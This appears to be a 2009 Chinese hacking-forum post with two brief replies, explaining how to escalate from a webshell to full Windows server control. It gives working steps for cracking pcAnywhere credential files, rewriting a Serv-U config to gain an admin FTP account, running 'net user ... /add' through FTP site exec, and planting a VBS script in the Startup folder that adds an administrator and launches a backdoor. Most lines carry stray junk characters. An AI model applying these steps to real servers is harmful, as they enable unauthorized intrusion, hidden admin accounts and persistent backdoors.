论坛风格切换切换到宽版
  • 665阅读
  • 2回复

经典的Webshell提权技术总结 [复制链接]

上一主题 下一主题
 
只看楼主 正序阅读 使用道具 楼主  发表于: 2009-03-12
说到花了九牛二虎的力气获得了一个webshell,  @lpo$lN0R  
当然还想继续获得整个服务器的admin权限,正如不想得到admin的不是好黑客~  @lpo$lN0R  
嘻嘻~~好跟我来,看看有什么可以利用的来提升权限  @lpo$lN0R  
****************************************************************************  @lpo$lN0R  
第一  @lpo$lN0R  
如果服务器上有装了pcanywhere服务端,管理员为了管理方便  @lpo$lN0R  
也给了我们方便,到系统盘的Documents and Settings/All Us  @lpo$lN0R  
ers/Application Data/Symantec/pcAnywhere/中下载*.cif本地  @lpo$lN0R  
破解就使用pcanywhere连接就ok了  @lpo$lN0R  
****************************************************************************  @lpo$lN0R  
第二  @lpo$lN0R  
有很多小黑问我这么把webshell的iis user权限提升  @lpo$lN0R  
一般服务器的管理都是本机设计完毕然后上传到空间里,  @lpo$lN0R  
那么就会用到ftp,服务器使用最多的就是servu  @lpo$lN0R  
那么我们就利用servu来提升权限  @lpo$lN0R  
通过servu提升权限需要servu安装目录可写~  @lpo$lN0R  
好开始把,首先通过webshell访问servu安装文件夹下的ServUDaemon.ini把他下载  @lpo$lN0R  
下来,然后在本机上安装一个servu把ServUDaemon.ini放到本地安装文件夹下覆盖,  @lpo$lN0R  
启动servu添加了一个用户,设置为系统管理员,目录C:\,具有可执行权限  &E]<KbVx  
然后去servu安装目录里把ServUDaemon.ini更换服务器上的。  &E]<KbVx  
用我新建的用户和密码连接~  &E]<KbVx  
好的,还是连上了  &E]<KbVx  
ftp  &E]<KbVx  
ftp>open ip  &E]<KbVx  
Connected to ip.  &E]<KbVx  
220 Serv-U FTP Server v5.0.0.4 for WinSock ready...  &E]<KbVx  
User (ip:(none)): id //刚才添加的用户  &E]<KbVx  
331 User name okay, please send complete E-mail address as password.  &E]<KbVx  
Password:password //密码  &E]<KbVx  
230 User logged in, proceed.  &E]<KbVx  
ftp> cd winnt //进入win2k的winnt目录  &E]<KbVx  
250 Directory changed to /WINNT  &E]<KbVx  
ftp>cd system32 //进入system32目录  &E]<KbVx  
250 Directory changed to /WINNT/system32  &E]<KbVx  
ftp>quote site exec net.exe user rover rover1234 /add //利用系统的net.exe   &E]<KbVx  
文件加用户。  &E]<KbVx  
如果提示没有权限,那我们就  &E]<KbVx  
把后门(server.exe) 传他system32目录  &E]<KbVx  
然后写一个VBs教本  &E]<KbVx  
set wshshell=createobject ("wscript.shell")  &E]<KbVx  
a=wshshell.run ("cmd.exe /c net user user pass /add",0)  &E]<KbVx  
b=wshshell.run ("cmd.exe /c net localgroup Administrators user /add",0)  &E]<KbVx  
b=wshshell.run ("cmd.exe /c server.exe",0)   &E]<KbVx  
&E]<KbVx  
存为xx.vbe  &E]<KbVx  
这个教本的作用是建立user用户密码为pass  &E]<KbVx  
并且提升为管理员  &E]<KbVx  
然后执行system32目录下的server.exe  &E]<KbVx  
把这个教本传他 C:\Documents and Settings\All Users\「开始」菜单\程序\启动  &E]<KbVx  
目录  &E]<KbVx  
这样管理员只要一登陆就会执行那个教本.  &E]<KbVx  
接下来就是等了.等他登陆.  &E]<KbVx  

只看该作者 板凳  发表于: 2009-03-12
楼主是干什么的

只看该作者 沙发  发表于: 2009-03-12
得防着这手啊,呵呵,我的服务器应该能顶住。。
人人为我,我为人人。
快速回复
限100 字节
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
 
上一个 下一个